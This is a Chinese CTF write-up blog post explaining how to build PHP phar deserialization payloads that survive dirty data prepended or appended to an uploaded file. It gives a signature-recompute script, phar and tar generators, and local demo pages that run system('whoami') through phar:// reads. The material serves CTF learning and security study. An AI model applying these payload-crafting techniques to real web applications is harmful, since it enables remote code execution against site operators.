July 8, 2023

Phar反序列化及其一系列的奇技淫巧

前言

这个知识点记在脑子里拖欠很久了,上班摸鱼(
什么是phar反序列化我就不讲了。

一、Phar支持的格式

了解一下就好了

二、绕过文件头部的脏数据(我们可以修改内容)

假如遇到绕wakeup的phar反序列化,我们需要修改phar文件的内容,那我们只需要重新计算一下签名,然后把计算完签名后的phar文件的脏数据删掉,然后上传就行了。
重新计算签名的脚本如下

1
2
3
4
5
6
7
8
9
10
11
import hashlib

with open('phar.phar', 'rb') as f:
content = f.read()

text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)

就是在中间加上一段哈希而已。我一向追求实践,所以我就本地搭个环境吧,每次搭phar环境一堆屁事

三、绕过文件头部脏数据(数据修改在服务端)

上述修改wakeup是我们可以修改文件内容,假如遇到了一种情况,就是上传文件后,他再往前面假如一段脏数据,而且数据内容我们已知,在这种情况下就不可以用上述方法了,我们需要用phardata去加上已知脏数据,重新计算签名,然后在删掉脏数据,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString("anything" , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>

这里有一部分细节的,就是,我们不能用记事本打开手动删除,不知道为什么这样会破坏数据,我们需要用php代码去修改,上述脚本会生成一个phar,这个phar是包含了脏数据计算了一次签名,然后把脏数据删了,生成新phar,然后再触发phar反序列化的时候加上脏数据就可以正常rce了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class flag{
public function __destruct()
{
system("whoami");
}
}
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.phar");
$new=$dirty.$old;
file_put_contents("./phar/new.phar",$new);
file_get_contents("phar://./phar/new.phar")
?>


image.png

四、绕过文件尾部的脏数据

绕过文件尾部的脏数据就不需要什么操作了,也不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";

$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
public function __destruct()
{
system("whoami");
}
}
$dirty="dirty";
$old=file_get_contents("./phar/phar.tar");
$new=$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>


image.png

五、绕过前面已知脏数据同时绕过末尾未知脏数据

还是一样的嘛,就用tar格式就好啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class flag{
}
$a=new flag;
$dirtydata="dirty";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
//读取原文件,截取,删除

$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
class flag{
public function __destruct()
{
system("whoami");
}
}
$front="dirty";
$dirty="dirty";
$old=file_get_contents("./phar/break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./phar/new.tar",$new);
file_get_contents("phar://./phar/new.tar")
?>


image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF